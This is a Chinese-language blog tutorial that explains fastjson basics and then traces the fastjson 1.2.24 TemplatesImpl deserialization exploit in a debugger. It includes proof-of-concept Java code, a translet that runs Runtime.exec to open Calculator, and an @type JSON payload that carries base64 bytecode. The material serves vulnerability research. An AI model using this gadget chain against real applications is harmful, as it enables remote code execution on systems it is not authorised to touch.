從0開始fastjson漏洞分析
關於fastjson漏洞利用參考://www.cnblogs.com/piaomiaohongchen/p/10799466.html
fastjson這個漏洞出來了很久,一直沒時間分析,耽擱了,今天撿起來
因為我們要分析fastjson相關漏洞,所以我們先去學習fastjson的基礎使用,如果我們連fastjson都不知道,更何談漏洞分析呢?
首先先搭建相關漏洞環境:
使用maven,非常方便我們切換相關漏洞版本:
pom.xml:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="//maven.apache.org/POM/4.0.0" xmlns:xsi="//www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="//maven.apache.org/POM/4.0.0 //maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>groupId</groupId> <artifactId>Java_Test</artifactId> <version>1.0-SNAPSHOT</version> <dependencies> <!-- https://mvnrepository.com/artifact/com.google.common/google-collect --> <!-- https://mvnrepository.com/artifact/com.google.guava/guava --> <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --> <!--fastjson1.2.24環境安裝--> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>RELEASE</version> <scope>compile</scope> </dependency> </dependencies> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> </properties> </project>
然後點擊刷新按鈕,會自動幫我們安裝相關依賴
至此,我們就擁有了fastjson環境
什麼是fastjson?
fastjson是一個Java語言編寫的高性能功能完善的JSON庫。它採用一種「假定有序快速匹配」的算法,把JSON Parse的性能提升到極致,是目前Java語言中最快的JSON庫。Fastjson接口簡單易用,已經被廣泛使用在緩存序列化、協議交互、Web輸出、Android客戶端等多種應用場景。
簡單點說就是幫我們處理json數據的
搓個demo:
Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
Teacher.java:
package com.test.fastjson; import java.util.List; public class Teacher { private int id; private String name; private List<Student> studentList; public Teacher(){ } public Teacher(int id, String name, List<Student> studentList) { this.id = id; this.name = name; this.studentList = studentList; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public List<Student> getStudentList() { return studentList; } public void setStudentList(List<Student> studentList) { this.studentList = studentList; } @Override public String toString() { return "Teacher{" + "id=" + id + ", name='" + name + '\'' + ", studentList=" + studentList + '}'; } }
編寫測試類:
@Test public void fastjson_test1(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSON(student)); }
把對象轉換成json格式數據
支持複雜的對象轉換json處理:
@Test public void fastjson_test2(){ List<Student> studentList = new ArrayList<Student>(); for(int i=0;i<4;i++){ Student student = new Student(i, "jack" + i, 23 + i); studentList.add(student); } List<Teacher> teacherList = new ArrayList<Teacher>(); Teacher teacher = new Teacher(); teacher.setStudentList(studentList); System.out.println(JSON.toJSON(teacher)); }
除了使用toJSON方法轉換外,還可以使用toJSONString方法:
@Test public void fastjson_test3(){ Student student = new Student(1,"jack",24); System.out.println(JSON.toJSONString(student)); }
查看返回類型,String類型
說明是把student對象數據轉換成字符串json數據
JSON.toJSONString的擴展:
需求如下:只需要Student對象的id和age字段,不要name字段,怎麼做?
@Test public void fastjson_test4(){ Student student = new Student(1,"jack",24); //過濾只要id和age字段 SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age"); String value = JSON.toJSONString(student, filter); System.out.println(value); }
設置保留id和age字段
通過上面的學習知道了如果想把對象轉換成json數據可以使用JSON.toJSON,或者使用JSON.toJSONString
我們繼續學習,下一步我們嘗試把json數據轉換成對象,還原我們的對象:
//反序列化,str類型數據轉換成class類型對象 @Test public void fastjson_test5(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student); System.out.println("轉換成json數據"); System.out.println(value); System.out.println("str類型json數據轉換成class類型對象"); System.out.println(JSON.parseObject(value, Student.class)); }
通過上面代碼,我們可以發現一個重點:
fastjson會處理字符串類型的json數據,上面的value變量是字符串類型,這對我們後續漏洞分析很有幫助
繼續擴展JSON.toJSONString:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
把結果輸出出來:
{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}
發現多了個@type字段,說明了我們Student對象轉換成json數據的數據類型,告訴我們是com.test.fastjson.Student類型的數據被轉換成json數據了.
我們繼續學習:
前面說了fastjson會處理我們的字符串json,直接寫一段字符串json數據:
@Test public void fastjson_test7(){ String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(jsonStr); System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
我們這樣寫,會發現最後字符串json沒有轉換成對象
為什麼?
因為fastjson找不到我們要轉換的json數據在哪個類,這裡我們要聲明類型:
再次修改:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parseObject(jsonStr)); }
有意思的地方來了,聲明類型後的字符串json數據,fastjson並沒有把它轉換成對象:
深入跟蹤下:
在JSON.parseObject處打個斷點:
跟進去:
繼續進函數:
value=Student{id=1, name='jack', age=24}
繼續下一步:
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
判斷引用obj指向的對象是否是JSONObject,如果是就直接返回,否則就返回toJSON處理:
繼續下一步執行:
熟悉吧toJSON,把我們的student對象再次轉換成了json數據…:
那麼最後的返回就是:
解決辦法:使用parse替換parseObject:
@Test public void fastjson_test7(){ String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}"; System.out.println(getType(jsonStr)); System.out.println(JSON.parse(jsonStr)); }
這一次,我們成功把字符串json數據轉換成了對象:
可能作為開發,到這一步已經學完了基礎的常用用法,但是對於安全來說,這裡可能是否可能會存在安全隱患呢?
猜測:fastjson會根據我們申明的類型,fastjson在反序列化我們的字符串json數據的時候,會把它轉換成對象,那麼如果我們的type字段上輸入惡意類,是否會在java反序列化的時候導致安全問題呢?
這就是fastjson安全漏洞的最初產生,惡意修改type類,導致安全問題
深入研究fastjson的對象轉json,json轉對象的調用機制:
修改我們的Student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
消除我們的構造方法:
編寫測試方法:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class); System.out.println(student1); }
直接報錯了,發現我們json轉str失敗,我們反序列化失敗,報錯提示默認的構造方法不存在,說明前置條件1:fastjson反序列化必須要構造方法
再次修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須調用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
再次運行上面的測試方法:
繼續探索:
再次修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須調用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } public void setId(int id) { this.id = id; System.out.println("setId被調用"); } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
在set方法中新增了一條輸出語句
再次運行上面的測試方法:
嘗試刪除set方法:
修改student.java:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須調用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被調用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
代碼中注釋了setId方法
再次運行:
結論:反序列化對象的時候,如果對象中的屬性定義是private,那麼必須設置set方法,protected修飾符也是一樣,必須設置set方法
只有set方法,沒有定義get方法可以被反序列化嗎?
注釋掉get方法,保留set方法:
結論:不可以,最起碼在JSON.parseObject下是不可以的
總結:使用JSON.parseObject反序列化的時候,屬性字段如果是private和protected修飾的時候,必須有set和get方法,否則可能導致某些字段反序列化失敗
再次修改student.java文件:
package com.test.fastjson; public class Student { public int id; private String name; private int age; public Student(){ System.out.println("你必須調用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } // public int getId() { // return id; // } // public void setId(int id) { // this.id = id; // System.out.println("setId被調用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
修改private為public,注釋掉set和get方法
再次運行測試方法:
結論:public字段下,set/get可有可無
還是回到priavte字段問題,再次修改student.class:
package com.test.fastjson; public class Student { private int id; private String name; private int age; public Student(){ System.out.println("你必須調用我"); } public Student(int id, String name, int age) { this.id = id; this.name = name; this.age = age; } public int getId() { return id; } // public void setId(int id) { // this.id = id; // System.out.println("setId被調用"); // } public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } @Override public String toString() { return "Student{" + "id=" + id + ", name='" + name + '\'' + ", age=" + age + '}'; } }
注釋了set方法,保留get方法:
前面說了,set和get方法缺一不可,所以我們JSON.ParseObject,一定是反序列化失敗的
是否有解決方案?
修改測試方法為:
@Test public void fastjson_test6(){ Student student = new Student(1,"jack",24); String value = JSON.toJSONString(student, SerializerFeature.WriteClassName); System.out.println(value); Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField); System.out.println(student1); }
再次運行:
Feature.SupportNonPublicField可以讓我們忽略設置set方法,只要設置get方法,就能達成反序列化
最終結論總結:fastjson反序列化依賴於set和get方法,而且必須要有構造方法,最優先調用的是構造方法,fastjson設置Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一樣
好了,基礎部分全部講完了,包括他反序列化和字段以及構造方法的調用問題
下面介紹fastjson第一個漏洞:
利用鏈:Fastjson 1.2.24 遠程代碼執⾏&&TemplatesImpl,依賴Feature.SupportNonPublicField 利用鏈比較雞肋
但是分析這條利用鏈,可以讓你很清楚知道fastjson內部是怎麼進行序列化的,反序列化的,通過前面寫的demo,我們已經對fastjson內部處理對象和json轉換對象有了較為詳細的認知
poc構造:我是mac,windows直接calc即可:
Poc1.java:
package com.test.fastjson; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Poc1 extends AbstractTranslet { public Poc1() throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public static void main(String[] args) throws IOException { Poc1 poc1 = new Poc1(); } }
編譯運行一次生成位元組碼,然後全局base64編碼:
反序列化攻擊:
AttackPoc1.java:
package com.test.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class AttackPoc1 { public static void main(String[] args) throws ClassNotFoundException { String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" + "[\"剛剛生成的base64編碼的位元組碼數據\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" + "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}"; JSON.parseObject(payload,Feature.SupportNonPublicField); } }
運行:
成功命令執行彈窗計算器
原理分析,先拋出疑惑點:
去除Feature.SupportNonPublicField還可以命令執行嗎?
運行沒有命令執行,前面我們學習了Feature.SupportNonPublicField是當我們設置get方法,而沒有設置set方法的補救,即使沒有set方法也會幫我們反序列化成功
跟進TemplatesImpl類:可以debug進去,這裡我選擇反射進去:
Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
以這個字段為例:
搜索setOutputProperties:
所以我們他一定要依賴於Feature.SupportNonPublicField
打個斷點,深入跟蹤下:
解決我們的幾個疑惑
(1)為什麼_bytecodes定義的數據得是base64編碼
(2)fastjson反序列化是怎麼走的?
下個斷點:
先搞清楚第一個問題bytecodes位元組碼為什麼是base64編碼:
判斷開頭輸入是否是{:
繼續往下:
設置token為12,很重要,後面的判斷都要基於token:
一直下一步執行:
通過loadClass加載我們的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類:
集合存儲惡意類:
然後不斷判斷我們的clazz是什麼類型:
不符合條件就繼續往下找:
通過反射獲取所有的方法
判斷方法的定義規則:
if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) { Class<?>[] types = method.getParameterTypes();
方法名字要符合這個條件:
獲取字段:
debug真的腦子疼:
重點來了:
反序列化字段:
繼續往下跟:
繼續往下:
最後出函數調用parseObject:
最後執行命令:
2.bytescodes base編碼原由:
反序列化的時候調用:
byte[] bytes = lexer.bytesValue(); lexer.nextToken(16);
會調用base64解碼:
靜態調試下:
跟進方法:
方法在接口類中,找接口實現類:
搜索到一個:
進去:
發現是個抽象類:
java基礎核心概念:
如果想實現抽象類中的方法,需要子類繼承父類,然後重寫方法.
尋找他的子類:
查看他的子類:
他的父類是object:
選擇他的子類進去看看:
搜索byteValue,查看其函數實現:
至此第一條雞肋的利用鏈分析完畢,明天我分析下不雞肋的利用鏈,利用jndi注入直接rce